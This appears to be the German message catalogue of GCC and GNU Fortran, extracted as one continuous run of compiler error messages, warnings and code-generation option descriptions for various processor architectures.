Verwendung von Microsoft-Erweiterungen warnenÜbereinstimmungsfehler zu Warnungen degradierenAngesteuert:Schein-»%s« bei %L kann keine Initialisierung habenScheinargument »%s« bei %L kann nicht INTENT(OUT) seinScheinargument »%s« bei %L kann nicht OPTIONAL seinScheinargument »%s« bei %L war als INTENT(OUT) deklariert, aber nicht gesetztScheinargument »%s« ist im Ausdruck bei %L nicht erlaubtScheinprozedur »%s« bei %C kann keine allgemeine Schnittstelle habenScheinprozedur »%s« nicht in elementarer Prozedur »%s« bei %L erlaubtScheinprozedur »%s« der PURE-Prozedur bei %L muss auch PURE seinScheinprozedur bei %C kann kein BIND(C)-Attribut mit NAME habenScheinprozedur bei %L nicht in ELEMENTAL-Prozedur erlaubtCore-Datei abziehen, wenn Laufzeitfehler auftrittDeklaration in .decl-Datei ausgebenVerschiedene compilerinterne Informationen in eine Datei abziehenDoppeltes Attribut %s bei %LAttribut %s doppelt angegeben bei %LDoppelte Markenspezifikation %s bei %CDoppelte Spezifikation %s bei %CDoppeltes BIND-Attribut bei %L angegebenDoppelte ELSE-Anweisungen bei %L und %CDoppelte IMPLICIT NONE-Anweisung bei %CDoppelte NML-Spezifikation bei %CDoppelte PRIVATE-Anweisung bei %CDoppeltes PROTECTED-Attribut bei %L angegebenSAVE-Attribut doppelt angegeben bei %LDoppelte SEQUENCE-Anweisung bei %CDoppelte UNIT-Spezifikation bei %CDoppeltes VALUE-Attribut bei %L angegebenDoppeltes VOLATILE-Attribut bei %L angegebenDoppelte Feldspezifikation für Cray-Zeigerende bei %CDoppelte Aufbau-Marke »%s« bei %CDoppelte Format-Spezifikation bei %CDoppelte Anweisungsmarke %d bei %L und %LDoppeltes Symbol »%s« in formaler Argumentliste bei %CCC-Register dynamisch belegenE500 und FPRs werden nicht unterstütztEH-Kante %i->%i hat doppelte RegionenEH-Kante %i->%i fehltEH-Kante %i->%i: EH-Kennzeichen fehltElementare Funktion »%s« bei %L muss ein skalares Ergebnis habenElementare nicht-intrinsische Prozedur »%s« ist nicht als effektives Argument bei %L erlaubtELSE-IF-Anweisung bei %C kann nicht auf eine ELSE-Anweisung bei %L folgenAnweisung ELSEWHERE bei %C folgt zuvor unmaskiertem ELSEWHEREELSEWHERE-Anweisung bei %C nicht eingeschlossen in WHERE-BlockEND-Tag bei %C in Ausgabe-Anweisung nicht erlaubtEND-Marke %d bei %L nicht definiertENTRY »%s« bei %L hat keinen IMPLICIT-TypENTRY-Ergebnis %s kann kein POINTER in FUNCTION %s bei %L seinENTRY-Ergebnis %s kann kein Feld in FUNCTION %s bei %L seinENTRY-Ergebnis %s kann nicht vom Typ %s in FUNCTION %s bei %L seinENTRY-Anweisung bei %C kann nicht in einer enthaltenen Prozedur auftretenENTRY-Anweisung bei %C kann nicht innerhalb von BLOCK DATA auftretenENTRY-Anweisung bei %C kann nicht innerhalb eines DERIVED TYPE Blockes auftretenENTRY-Anweisung bei %C kann nicht innerhalb eines DO-Blockes auftretenENTRY-Anweisung bei %C kann nicht innerhalb eines FORALL-Blockes auftretenENTRY-Anweisung bei %C kann nicht innerhalb eines MODULEs auftretenENTRY-Anweisung bei %C kann nicht innerhalb eines PROGRAMmes auftretenENTRY-Anweisung bei %C kann nicht innerhalb eines SELECT-Blockes auftretenENTRY-Anweisung bei %C kann nicht innerhalb eines WHERE-Blockes auftretenENTRY-Anweisung bei %C kann nicht innerhalb eines enthaltenen Subprogrammes auftretenENTRY-Anweisung bei %C kann nicht innerhalb eines IF-THEN-Blockes auftretenENTRY-Anweisung bei %C kann nicht innerhalb von INTERFACE auftretenENTRY_BLOCK hat zugehörige ILENUM-Deklaration bei %C hat keine ENUMERATORenAnweisung zur ENUM-Definition vor %C erwartetENUMERATOR %L nicht mit Ganzzahlausdruck initialisiertEOR-Marke %d bei %L nicht definiertEQUIVALENCE bei %C erfordert zwei oder mehr ObjekteERR-Marke %d bei %L nicht definiertESA/390-ArchitekturEXIT-Anweisung bei %C beendet !$OMP DO SchleifeEXIT_BLOCK hat zugehörige ILEntweder alle oder keines der Objekte in bei %L gesetztem EQUIVALENCE sollte das Attribut PROTECTED habenElement in Feldkonstruktor %s bei %L ist %sElement eines Feldes mit vermuteter Form an Scheinargument »%s« bei %L übergebenÜberflüssige Vorzeichenerweiterungen mit LCM beseitigen.Eingeschlossenes Leerzeichen in NAME=-Spezifizierung bei %C16-bit Auslagerungen in kleinen Datenbereichen erzeugen32-bit Auslagerungen in kleinen Datenbereichen erzeugenIEEE-konformen Code erzeugen, ohne ungenaue AusnahmenInformationen zum Aufrufgraph ausgebencmpeqdi_t ausgeben, sogar wenn -mcbranchdi und -mexpand-cbranchdi aktiv sind.Code für die Byte/Word-ISA-Erweiterung erzeugenCode für die zählende ISA-Erweiterung erzeugenCode für die FP-Move- und SQRT-ISA-Erweiterung erzeugenCode für die Video-ISA-Erweiterung erzeugenCode mit expliziten Auslagerungsanweisungen erzeugenCommon-ähnliche Symbole als schwache Symbole ausgebenInformationen zur Kreuzreferenz ausgebenDeklarationsinformationen in <Datei> ausgebenDirekte Zweige in lokalen Funktionen erzeugenFehler melden, wenn Verschiebungen zur Laufzeit erzeugt werdenZusätzlichen Code im Funktionsprolog ausgeben, um ein Überschreiten des angegebenen Limits für die Stackgröße abzufangen (trap)Bei PIC-Erzeugung Funktionsaufrufe ausgeben, die die globale Offsettabelle verwendenImplizite Instantiierungen von »inline«-Templates ausgebenImplizite Instantiierungen von Templates ausgebenDirekte Zweige in lokalen Funktionen erzeugenLange Laden/Speichern-Folgen ausgebenrdval statt rduniq für Thread-Zeiger erzeugenStatische konstante Variablen erzeugen, auch wenn sie nicht verwendet werdenVor und nach flüchtig erweiterten asms Stop-Bits ausgebenAusführliche Informationen zur Fehlersuche im Assemblercode ausgebenWarnen, wenn Verschiebungen zur Laufzeit erzeugt werdenLeere IMPLICIT-Anweisung bei %CLeerer Feldkonstruktor bei %C ist nicht erlaubtLeere Ziffernmenge in BOZ-Konstante bei %CDwarf-2-Zeilenfehlersuchinfo über GNU as einschaltenVollständige Redundanzentfernung (FRE) auf Bäumen einschaltenFunktionsdeskriptor-PIC-Modus einschaltenID-basierte Shared Library einschaltenObjective-C-Ausnahme- und -Synchronisations-Syntax einschaltenLaufzeitbibliothek zur Objective-C setjmp-Ausnahmebehandlung einschaltenPIC-Unterstützung beim Bauen von Bibliotheken einschaltenSH5-cut2-Workaround einschaltenSSA-Codeversenkung auf Bäumen einschaltenBeseitigungsoptimierung für toten SSA-Code auf Bäumen einschaltenSSA-CCP-Optimierungen auf Bäumen einschaltenSSA-PRE-Optimierungen auf Bäumen einschaltenTPF-OS-tracing-Code einschaltenAlle -Wunused- Warnungen einschaltenEinen RTL-Guckloch-Durchlauf vor sched2 einschaltenZuweisbarkeitsprüfungen für Speicheroperationen in Objektfelder einschaltenAutomatische Erzeugung verschmolzener Gleitkomma-Multiplizier-/Addier-Befehle einschaltenAutomatische Parallelisierung von Schleifen einschaltenAutomatische Template-Instantiierung einschaltenBackend-Fehlersuche einschaltenEinfachen Programm-Profilierungscode einschaltencbranchdi4-Muster einschaltenAllgemeine Optionen zum Erzeugen von Profil-Info für Profil-Feedback-gerichtete Optimierungen einschaltenAllgemeine Optionen zum Durchführen von Profil-Feedback-gerichteten Optimierungen einschaltenBedingte Ausführung statt Kopieren/scc einschaltenBedingte Kopierbefehle einschaltenKopieweitergabe von Informationen über Skalar-Evolution einschalten.Kopieweitergabe auf Bäumen einschaltenEntfernung toter Speicherbereiche einschaltenAusgaben zur Fehlersuche einschaltenHardwareunterstützung für dezimales Gleitkomma einschaltenBeherrscher-Optimierungen einschaltenAbzüge von bestimmten Durchläufen des Compilers einschaltenFrühere Stop-Bit-Platzierung für bessere Planung einschaltenAusnahmebehandlung einschaltenFunktionsprofilierung einschaltenVerschmolzene Multiplizier/Addier- und Multiplizier/Subtrahier-Befehle für Gleitkomma einschaltenVerschmolzene Multiplikations/Additions-Befehle einschaltenGarbage Collection (GC) in Objective-C/Objective-C++-Programmen einschaltenErraten der Sprungwahrscheinlichkeiten einschaltenHardware-Gleitkomma einschaltenInlining von PLT in Funktionsaufrufen einschaltenMarkenausrichtungs-Optimierungen einschaltenLineare Schleifenumformung auf Bäumen einschaltenBinder-Optimierungen einschaltenBinderlockerungen einschaltenBinderlockerung einschaltenKopieren des Schleifenkopfes auf Bäumen einschaltenBewegung der Schleifeninvariante auf Bäumen einschaltenSchleifenoptimierungen auf Baumebene einschaltenSchleifenvektorisierung auf Bäumen einschaltenSchleifenversionierung bei Schleifenvektorisierung auf Bäumen einschaltenMaschinenspezifische Guckloch-Optimierungen einschaltenDie meisten Warnungen einschaltenOptimierungen für geschachtelte bedingte Ausführung einschaltenOptimierung des Initialisierungscodes statischer Klassen einschaltenOptimierung von &&/|| in bedingter Ausführung einschaltenOptionale Diagnosemeldungen einschaltenBereichsprüfung während Kompilierung einschaltenNeuverbindung auf Baumebene einschaltenPlanung über Basisblöcke hinaus einschaltenGesondertes Datensegment einschaltenSetzen von GPRs auf das Ergebnis von Vergleichen einschaltenStapelsondierung einschaltenStrenge Prüfung für 32-bit psABI Strukturrückgabe einschaltenUnterstützung für große Objekte einschaltenNormalen Modus einschaltenVerwendung der verschmolzenen Gleitkommabefehle zum Multiplizieren/Addieren einschaltenVerwendung des indizierten Addressierungsmodus für SHmedia32/SHcompact einschaltenVerwendung der kurzen Ladebefehle einschaltenTraditionelle Vorverarbeitung einschaltenUnausgerichtete Load/Store-Befehle einschaltenVerwendung von GPREL für Nur-Lese-Daten in FDPIC einschaltenVerwendung des Kostenmodells in Vektorisierung einschaltenVerwendung von sdata/scommon/sbss einschaltenWortreiche Ausgabe einschaltenTraditionelle Planung in Schleifen, die bereits Modulo-Planung unterzogen wurden, einschalten/ausschaltenID-basierte Shared Library einschaltenEine Registerbewegungsoptimierung einschaltenEnde der DO-Anweisung bei %C ist mit anderer DO-Schleife verwobenEnde der DO-Anweisung ohne Block bei %C ist innerhalb eines anderen BlockesEnde der Suchliste.
Semantik der Zugriffskontrolle für Klassenelemente erzwingenGenaue Ausrichtung erzwingenEntität »%s« bei %C ist bereits in der Schnittstelle vorhandenEntität mit vermuteter Zeichenlänge bei %L muss ein Scheinargument oder ein PARAMETER seinZähler übersteigt den C-Ganzzahltyp bei %CÄquivalenz für »%s« passt nicht zur Anordnung von COMMON »%s« bei %LFehler bei Umwandlung von PARAMETER-Konstante in komplexer Konstante bei %CFehler beim Umwandeln einer GanzzahlFehlerzahl erreichte Grenze %d.Fehler in ORDER-Parameter von RESHAPE bei %LFehler beim Schreiben der Moduldatei »%s«: %sFehler beim Schreiben der Moduldatei: %sFehler:Ausführungszähler ist negativAusgang %d->%d nicht aufgezeichnetAbbruchbedingung der DO WHILE-Schleife bei %L muss ein skalarer LOGICAL-Ausdruck seinBeim ersten auftretenden Fehler beendencbranchdi4-Muster früh in separate Vergleiche und Sprungbefehle erweitern.»)« bei %C erwartet»,« bei %C erwartet»,« oder Ende der Anweisung bei %C erwartet»(« bei %C erwartet»END INTERFACE ASSIGNMENT (=)« bei %C erwartet»::« in TYPE-Definition bei %C erwartetZeichen »=« in PARAMETER-Anweisung bei %C erwartetP-Edit-Deskriptor erwartetPARAMETER-Symbol in komplexer Konstante bei %C erwartetCASE- oder END-SELECT-Anweisung hinter SELECT CASE bei %C erwartetPURE-Prozedur für Argument »%s« bei %L erwartetNamenlose Schnittstelle bei %C erwartetProzedur für Argument »%s« bei %L erwartetRechte Klammer in Ausdruck bei %C erwartetSchrittvariable in Iterator bei %C erwartetAlternative Rücksprungmarke bei %C erwartetInitialisierungsausdruck bei %C erwartetAndere Dimension in Felddeklaration bei %C erwartetFeldindex erwartet bei %CFeldindexsprung erwartet bei %CAttributbitname erwartetBlocknamen von »%s« in %s-Anweisung bei %C erwartetErwarteter Fallname von »%s« bei %CKomma in E/A-Liste bei %C erwartetExponent in Ausdruck bei %C erwartetAusdruck bei %C in PARAMETER-Anweisung erwartetAusdruck in %s-Anweisung bei %C erwartetErwarteter Ausdruck in Feldspezifikation bei %CAusdruckstyp erwartetFormale Argumentliste in Funktionsdefinition bei %C erwartetInitialisierungsausdruck bei %C erwartetErwarteter Initialisierungsausdruck in CASE bei %CGanzzahl erwartetGanzzahlzeichenkette erwartetMarke »%s« für %s-Anweisung bei %C erwartetLinke Klammer erwartetName erwartetEchte Zeichenkette erwartetRechte Klammer erwartetSkalaren Initialisierungsausdruck bei %C erwartetZeichenkette erwartetStrukturkomponentenname bei %C erwartetBeendenden Namen bei %C erwartetName des select-case-Konstrukts bei %C erwartetVariable in READ-Anweisung bei %C erwartetVariablennamen bei %C erwartetVariablennamen bei %C in PARAMETER-Anweisung erwartet%s-Anweisung bei %C erwartet»END INTERFACE %s« bei %C erwartet»END INTERFACE OPERATOR (%s)« bei %C erwartet»END INTERFACE OPERATOR (.%s.)« bei %C erwartetListe benannter Einträge bei %C erwartetFunktionen exportieren, auch wenn sie »inline« sein könnenAusdruck bei %L muss skalar seinAusdruck in ALLOCATE-Anweisung bei %L muss ALLOCATABLE oder ein POINTER seinAusdruck in CASE-Anweisung bei %L muss Typ %s habenAusdruck in CASE-Anweisung bei %L muss skalar seinAusdruck in DEALLOCATE-Ausdruck bei %L muss ALLOCATABLE oder ein POINTER seinErweiterung: $-Deskriptor bei %CErweiterung: Spezifizierer %s in Anweisung %s bei %C hat Wert »%s«Erweiterung: BOZ-Konstante bei %C verwendet Nicht-Standard-Postfix-SyntaxErweiterung: BOZ-Literal bei %L außerhalb einer DATA-Anweisung und außerhalb von INT/REAL/DBLE/CMPLXErweiterung: BOZ-Literal bei %L verwendet, um Nicht-Ganzzahlvariable »%s« zu initialisierenErweiterung: BYTE-Typ bei %CErweiterung: CONVERT-Marke bei %LErweiterung: Zeichenfeld in FORMAT-Markierung bei %LErweiterung: Umwandlung von %s in %s bei %LErweiterung: Verschiedene Typ-Arten bei %LErweiterung: Auswertung des nicht standardisierten Initialisierungsausdrucks bei %LErweiterung: Funktion %s bei %L mit Einträgen, die Variablen mit verschiedenen Zeichenkettenlängen zurückgebenErweiterung: Hexadezimalkonstante bei %C verwendet Nicht-Standard-SyntaxErweiterung: Hollerithkonstante bei %CErweiterung: Fehlendes Komma bei %CErweiterung: Positive Breite hinter L-Deskriptor bei %C fehltErweiterung: Nicht-Zeichen in FORMAT-Markierung bei %LErweiterung: Initialisierung im alten Stil bei %CErweiterung: REAL-Feld-Index bei %LErweiterung: RETURN-Anweisung im Hauptprogramm bei %CErweiterung: Tab-Zeichen im Format bei %CErweiterung: Unärer Operator hinter arithmetischem Operator bei %C (Klammern verwenden)Erweiterung: X-Deskriptor benötigt führenden Leerzeichenzähler bei %CErweiterung: Argumentlistenfunktion bei %CErweiterung: Zeichen Backslash bei %CErweiterung: Initialisierung der allgemeinen Blockvariable »%s« in DATA-Anweisung bei %CErweiterung: Reinitialisierung von »%s« bei %LExternes »%s« bei %L kann keine Initialisierung habenExterne IO UNIT kann kein Feld bei %L seinExternes Objekt »%s« bei %L darf keine Initialisierung habenFORALL-Endausdruck bei %L muss skalarer INTEGER seinFORALL-Index »%s« kann nicht in Tripel-Spezifikation bei %L auftretenFORALL-Indexname bei %L muss skalarer INTEGER seinFORALL-Maskenklausel bei %L erfordert einen LOGICAL-AusdruckFORALL-Anfangsausdruck bei %L muss skalarer INTEGER seinFORALL-Schrittausdruck bei %L kann nicht Null seinFORALL-Schrittausdruck bei %L muss skalares %s seinFORMAT-Marke %d bei %L nicht definiertFORMAT-Anweisung bei %L hat keine AnweisungsmarkeFORMAT-Markierung bei %L muss vom Typ CHARACTER oder INTEGER seinGleitkomma-Ausnahmen sind eingeschaltetFUNCTION bei %C gehört nicht in eine allgemeine UnterprogrammschnittstelleFUNCTION-Ergebnis %s kann kein POINTER in FUNCTION %s bei %L seinFUNCTION-Ergebnis %s kann kein Feld in FUNCTION %s bei %L seinFUNCTION-Ergebnis %s kann nicht vom Typ %s in FUNCTION %s bei %L seinNeuladen gescheitert:Schwerwiegender Fehler:Bei %2$C geöffnete Datei »%1$s« ist keine GFORTRAN-ModuldateiErstes Argument der Operatorschnittstelle bei %L kann nicht optional seinErstes Argument der Operatorschnittstelle bei %L muss INTENT(IN) seinErstes oder letztes !$OMP ATOMIC intrinsisches Argument muss bei %2$L »%1$s« seinFeste Zeilenlänge muss mindestens sieben sein.Schalter -fmax-stack-var-size=%d überschreibt -frecursive (ausgelöst durch -fopenmp)Schalter -fno-automatic überschreibt -fmax-stack-var-size=%dSchalter -fno-automatic überschreibt -frecursiveSchalter -fno-automatic überschreibt -frecursive (ausgelöst durch -fopenmp)Schalter -frecursive überschreibt -fmax-stack-var-size=%dRenesas(vormals Hitachi)/SuperH-Aufrufkonventionen folgenDen EABI Bindeanforderungen folgenZum Einsenden von Fehlerberichten (auf Englisch) siehe:
%s.
Fehler in der deutschen Übersetzung sind an
translation-team-de@lists.sourceforge.net zu melden.
For Schein-Prozedur %s in BIND(C) bei %C ist kein bindender Name erlaubtFür Intrinsics-Bibliothek: alle Parameter in Registern übergebenFunktionen auf 4-Byte-Grenzen zwingenDen für »wchar_t« zugrundeliegenden Typen auf »unsigned short« zwingenFormatanweisung im Hauptblock des Modules bei %CFortran 2003: "USE :: module" bei %CFortran 2003: Attribut %s mit Attribut %s bei %LFortran 2003: Attribut %s mit Attribut %s in »%s« bei %LFortran 2003: Spezifizierer %s in Anweisung %s bei %C hat Wert »%s«Fortran 2003: intrinsisches »%s« mit CHARACTER-Argument bei %LFortran 2003: intrinsisches »%s« mit KIND-Argument bei %LFortran 2003: »%s« hat PRIVATE-Typ und kann kein Scheinargument von »%s« sein, das PUBLIC bei %L istFortran 2003: ABSTRACT INTERFACE bei %CFortran 2003: Attribut ALLOCATABLE bei %C in einer TYPE-DefinitionFortran 2003: Attribut %s bei %L in einer TYPE-DefinitionFortran 2003: BIND(C) bei %LFortran 2003: BOZ außerhalb einer DATA-Anweisung bei %C verwendetFortran 2003: COMMON-Block »%s« bei %L der auch ein Funktionsergebnis istFortran 2003: COMMON-Block »%s« bei %L der auch eine globale Prozedur istFortran 2003: Definition des abgeleiteten Typs bei %C ohne KomponentenFortran 2003: ENUM AND ENUMERATOR bei %CFortran 2003: Elementare Funktion als Initialisierungsausdruck mit Nicht-Ganzzahl-/Nicht-Zeichen-Argumenten bei %LFortran 2003: FLUSH-Anweisung bei %CFortran 2003: Funktion »%s« als Initialisierungsausdruck bei %LFortran 2003: IMPORT-Anweisung bei %CFortran 2003: IOMSG-Markierung bei %LFortran 2003: Modul ISO_C_BINDING bei %CFortran 2003: Intrinsisches Modul ISO_FORTRAN_ENV bei %CFortran 2003: Interne Datei bei %L mit NamenslisteFortran 2003: Nichtganzzahliger Exponent in einem Initialisierungsausdruck bei %LFortran 2003: PARAMETER-Symbol in komplexer Konstante bei %CFortran 2003: PROCEDURE-Anweisung bei %CFortran 2003: PROTECTED-Attribut bei %CFortran 2003: PROTECTED-Anweisung bei %CFortran 2003: PUBLIC %s »%s« bei %L mit abgeleitetem PRIVATE-Typen »%s«Fortran 2003: Prozedur »%s« in PUBLIC-Schnittstelle »%s« bei %L nimmt Schneinargumente von »%s«, das PRIVATE istFortran 2003: Prozedurkomponenten bei %C sind in gfortran noch nicht implementiertFortran 2003: Umbenennungsoperatoren in USE-Anweisungen bei %CFortran 2003: Skalares effektives CHARACTER-Argument mit Feld-Scheinargument »%s« bei %LFortran 2003: VALUE-Attribut bei %CFortran 2003: VALUE-Anweisung bei %CFortran 2003: VOLATILE-Attribut bei %CFortran 2003: VOLATILE-Anweisung bei %CFortran 2003: Feldkonstruktoren im [...]-Stil bei %CFortran 2003: Modul-Eigenschaft in USE-Anweisung bei %CFortran 95 erfordert Standard INTEGER in %s-Marke bei %LFreie Zeilenlänge muss mindestens drei sein.Funktion %s bei %L hat Einträge mit unpassenden FeldspezifikationenFunktion »%s« bei %C hat bereits den Typ %sFunktion »%s« bei %L kann keine Initialisierung habenFunktion »%s« bei %L hat IMPLICIT-TypFunktion »%s« bei %L ist INTRINSIC, aber nicht mit eingebauter Funktion verträglichFunktion »%s« bei %L muss PURE seinDie anstelle eines Operators aufgerufene Funktion »%s« bei %L muss PURE seinFunktion »%s« in Initialisierungs-Ausdruck bei %L muss eine intrinsische oder Spezifikations-Funktion seinFunktion »%s« ist als CHARACTER(*) deklariert und kann nicht bei %L verwendet werden, da es kein Scheinargument istFunktion »%s« erfordert eine Argumentliste bei %CFunktionsname »%s« nicht erlaubt bei %CFunktionsreferenz auf »%s« bei %L ist Nicht-PURE-Prozedur innerhalb einer PURE-ProzedurFunktionsergebnis »%s« bei %L kann keine Initialisierung habenFunktionsergebnis »%s« bei %L hat keinen IMPLICIT-TypFunktionsanfänge werden zu dieser Zweierpotenz ausgerichtetGCC kann keine Operatoren mit Ganzzahl- und Festkommatypen unterstützen, die zusammen zu viele Ganzzahl- und Bruch-Bits habenGCC unterstützt nicht -C oder -CC ohne -EGCC unterstützt nur %u geschachtelte GültigkeitsbereicheGCC-Vektor per Referenz übergegeben: Nicht-Standard-ABI-Erweiterung ohne KompatibilitätsgarantieGCC-Vektor per Referenz zurückgegeben: Nicht-Standard-ABI-Erweiterung ohne KompatibilitätsgarantieGCSE ausgeschaltetGENERIC-Prozedur »%s« ist bei %L nicht als effektives Argument erlaubtGMP-Version %s, MPFR-Version %s.
GNU Fortran kommt OHNE GARANTIE, im vom Gesetz zulässigen Ausmaß.
Sie dürfen Kopien von GNU Fortran unter
den Bedingungen der GNU General Public License weitergeben.
Für weitere Informationen hierüber, siehe die Datei COPYING
FPU-freien 32-Bit SHmedia-Code erzeugen32-Bit SHmedia-Code erzeugen32-Bit-Code erzeugen32-Bit-Versatz in switch-Tabellen erzeugen32-Bit-i386-Code erzeugenFPU-freien 64-Bit SHmedia-Code erzeugen64-Bit SHmedia-Code erzeugen64-Bit-Code erzeugen64-Bit-x86-64-Code erzeugenAPCS-konforme Stapelrahmen erzeugenC-Header mit Plattform-spezifischen Merkmalen erzeugenFPU-freien SHcompact-Code erzeugenGFLOAT Code mit doppelter Genauigkeit erzeugenH8/300H-Code erzeugenH8S-Code erzeugenH8S/2600-Code erzeugenH8SX-Code erzeugenILP32-Code erzeugenILP64-Code erzeugenMIPS16-Code erzeugenPA1.0-Code erzeugenPA1.1-Code erzeugenPA2.0-Code erzeugen (erfordert binutils 2.10 oder neuer)Paarweise-Einzel-Befehle für PPC750CL erzeugenSH1-Code erzeugenSH2-Code erzeugenFPU-freien SH2a-Code erzeugenSH2a-Code erzeugenSH2e-Code erzeugenSH3-Code erzeugenSH3e-Code erzeugenFPU-freien SH4-Code erzeugenSH4-Code erzeugenFPU-freien SH4-100-Code erzeugenSH4-100-Code erzeugenFPU-freien SH4-200-Code erzeugenSH4-200-Code erzeugenFPU-freien SH4-300-Code erzeugenSH4-300-Code erzeugenFPU-freien SH4a-Code erzeugenSH4a-Code erzeugenSH4al-dsp-Code erzeugenSHcompact-Code erzeugenSPE SIMD Befehle auf E500 erzeugenBeim Erzeugen von AltiVec-Code VRSAVE-Befehle erzeugenEine auf das aktuelle Verzeichnis verweisende #line-Anweisung erzeugenAufruf zum Abbruch erzeugen, wenn eine »noreturn«-Funktion zurückkehrtEinen einzigen Austrittspunkt für jede Funktion erzeugenauto-inc/dec-Befehle erzeugenBig-Endian-Code erzeugenBig-Endian-Code erzeugenSprunghinweise für Sprünge erzeugenFalls nötig, Aufruf-Befehle als indirekte Aufrufe erzeugenPrüfungen auf Referenzen auf NULL erzeugenCode für 18-Bit-Adressierung erzeugenCode für 32-Bit-Adressierung erzeugenCode für GNU as erzeugenCode für GNU Assembler (gas) erzeugenCode für GNU ld erzeugenCode für die GNU-Laufzeitumgebung erzeugenCode für ISA Ebene N erzeugenCode für die NeXT (Apple Mac OS X) Laufzeitumgebung erzeugenCode für Serie SH4 340 erzeugen (ohne MMU/FPU)Code für Serie SH4 400 erzeugen (ohne MMU/FPU)Code für Serie SH4 500 erzeugen (ohne FPU)Code für UNIX Assembler erzeugenCode für einen 5206e erzeugenCode für einen 520X erzeugenCode für einen 528x erzeugenCode für einen 5307 erzeugenCode für einen 5407 erzeugenCode für 68000 erzeugenCode für 68010 erzeugenCode für 68020 erzeugenCode für einen 68030 erzeugenCode für einen 68040 erzeugenCode für einen 68040 ohne neue Befehle erzeugenCode für einen 68060 erzeugenCode für einen 68060 ohne neue Befehle erzeugenCode für einen 68302 erzeugenCode für einen 68332 erzeugenCode für einen 68851 erzeugenCode für ColdFire v4e erzeugenCode für DLL erzeugenCode für Fido A erzeugenCode für eine cpu32 erzeugenCode für 11/10 erzeugenCode für 11/40 erzeugenCode für 11/45 erzeugenCode für »big-endian« erzeugenCode für ladbare Darwin-Kernelerweiterungen erzeugenCode für Funktionen erzeugen, auch wenn sie vollständig »inline« sindCode für die gegebene CPU erzeugenCode für große switch-Anweisungen erzeugenCode für »little-endian« erzeugenCode für altes ausführbares BSS PLT erzeugenCode für den Boehm GC erzeugenCode für M*Core M210 erzeugenCode für M*Core M340 erzeugenCode für das gegebene ISA erzeugenCode für ladbare Darwin-Kernelerweiterungen oder Kernel erzeugenCode für die angegebene Chip- oder CPU-Version erzeugenCode im »Big Endian«-Modus erzeugenCode im »Little Endian«-Modus erzeugenCode für ausführbare Dateien (NICHT Shared Libraries) erzeugenFür schnelles Debugging geeigneten Code erzeugenCode erzeugen, der sicher mit MIPS16-Code gebunden werden kann.Code erzeugen, der in dynamischen Objekten im SVR4-Stil verwendet werden kannCode erzeugen, der zum angegebenen ABI passtCode erzeugen, der 68881-Gleitkommabefehle verwendetCode erzeugen, der nicht mit anderen ID-shared Libraries gelinkt werden würde,Code zur Überprüfung der Grenzen vor Feldindizierung erzeugenCode zur Überprüfung von Exception-Spezifikationen erzeugenCode erzeugen, der nicht ausführbares PLT und GOT enthältCode erzeugen, der Hardware-Gleitkommabefehle verwendetCode mit Bibliotheksaufrufen für Gleitkommaarithmetik erzeugenCode ohne GP-Register erzeugencpp-Defines für Server-IO erzeugencpp-Defines für Workstation-IO erzeugenFehlersuchinformationen im COFF-Format erzeugenFehlersuchinformationen im DWARFv2-Format erzeugenFehlersuchinformationen im STABS-Format erzeugenFehlersuchinformationen im VMS-Format erzeugenFehlersuchinformationen im XCOFF-Format erzeugenFehlersuchinformationen im erweiterten Standardformat erzeugenFehlersuchinformationen im Standardformat erzeugenFehlersuchinformationen im erweiterten STABS-Format erzeugenFehlersuchinformationen im erweiterten XCOFF-Format erzeugenStandard SH2a-Code mit einfacher Genauigkeit erzeugenStandard SH4-Code mit einfacher Genauigkeit erzeugenStandard SH4-100-Code mit einfacher Genauigkeit erzeugenStandard SH4-200-Code mit einfacher Genauigkeit erzeugenStandard SH4-300-Code mit einfacher Genauigkeit erzeugenStandard SH4a-Code mit einfacher Genauigkeit erzeugenDivisionsergebnisse mit dem gleichen Vorzeichen im Übertrag wie der Divisor (nicht der Dividend) erzeugenSchnelle indirekte Aufrufe erzeugenGleitkommaarithmetik mit gegebenem Befehlssatz erzeugenGleitkomma-Multiplizier-/Addier-Befehle erzeugenVerschmolzene Multiplizier-/Addier-Befehle erzeugenEingebettete Gleitkommadivision erzeugen, auf Wartezeit optimierenEingebettete Gleitkommadivision erzeugen, auf Durchsatz optimierenEingebettete Ganzzahldivision erzeugen, auf Wartezeit optimierenEingebettete Ganzzahldivision erzeugen, auf Durchsatz optimierenEingebettete Quadratwurzel erzeugen, auf Wartezeit optimierenEingebettete Quadratwurzel erzeugen, auf Durchsatz optimierenKlasseninstanzen zur Laufzeit erzeugenisel-Befehle erzeugenLockeres Nachschlagen von Klassen (mit objc_getClass()) für Verwendung im Null-Verknüpfungs-Modus erzeugenLittle-Endian-Code erzeugenLittle-Endian-Code erzeugenLaden/Speichern mehrerer Befehle erzeugenLaden/Speichern mit Aktualisierungsbefehlen erzeugenMake-Abhängigkeiten werden erstelltMake-Abhängigkeiten erzeugen und übersetzenCode im normalen Modus erzeugenSH2a-Code nur mit einfacher Genauigkeit erzeugenSH4-Code nur mit einfacher Genauigkeit erzeugenSH4-100-Code nur mit einfacher Genauigkeit erzeugenSH4-200-Code nur mit einfacher Genauigkeit erzeugenSH4-300-Code nur mit einfacher Genauigkeit erzeugenSH4a-Code nur mit einfacher Genauigkeit erzeugenPC-relativen Code erzeugenUnechte Ziele für alle Headers erzeugenWenn möglich, lageunabhängigen Code für ausführbare Dateien erzeugen (large mode)Wenn möglich, positionsunabhängigen Code für ausführbare Dateien erzeugen (small mode)Wenn möglich, lageunabhängigen Code erzeugen (large mode)Wenn möglich, positionsunabhängigen Code erzeugen (small mode)Wenn verfügbar, Prefetch-Befehle für Felder in Schleifen erzeugenWiedereinsprungsfähigen PIC-Code erzeugenReziproke statt divss und sqrtss erzeugen.Informationen zur Typbeschreibung zur Laufzeit erzeugenSelbstverschiebbaren Code erzeugensin, cos und sqrt für FPU erzeugenReziprokes sqrt in Software für besseren Durchsatz erzeugenWenn nötig, spezielle Objective-C-Methoden zur Initialisierung/Zerstörung von nicht-POD C++ ivars, erzeugenZeichenkettenbefehle für Blockkopieroperationen erzeugenAbwicklungstabellen erzeugen, die genau an jeder Befehlsgrenze liegenGeneriertes sollte vom Bootstrap-Loader geladen werdenGenerische Funktion »%s« bei %L ist nicht mit spezifischer intrinsischer Schnittstelle vereinbarGenerisches Unterprogramm »%s« bei %L ist nicht mit intrinsischer Unterprogrammschnittstelle vereinbarSprüngen ihre Standardkosten zuweisenExternen Symbolen einen führenden Unterstrich gebenGlobaler Name »%s« bei %L wird bereits als ein %s bei %L verwendetDezimale Hardware-Gleitkomma-Befehle sind im ESA/390-Modus nicht verfügbarDezimale Hardware-Gleitkomma-Befehle sind auf %s nicht verfügbarMit 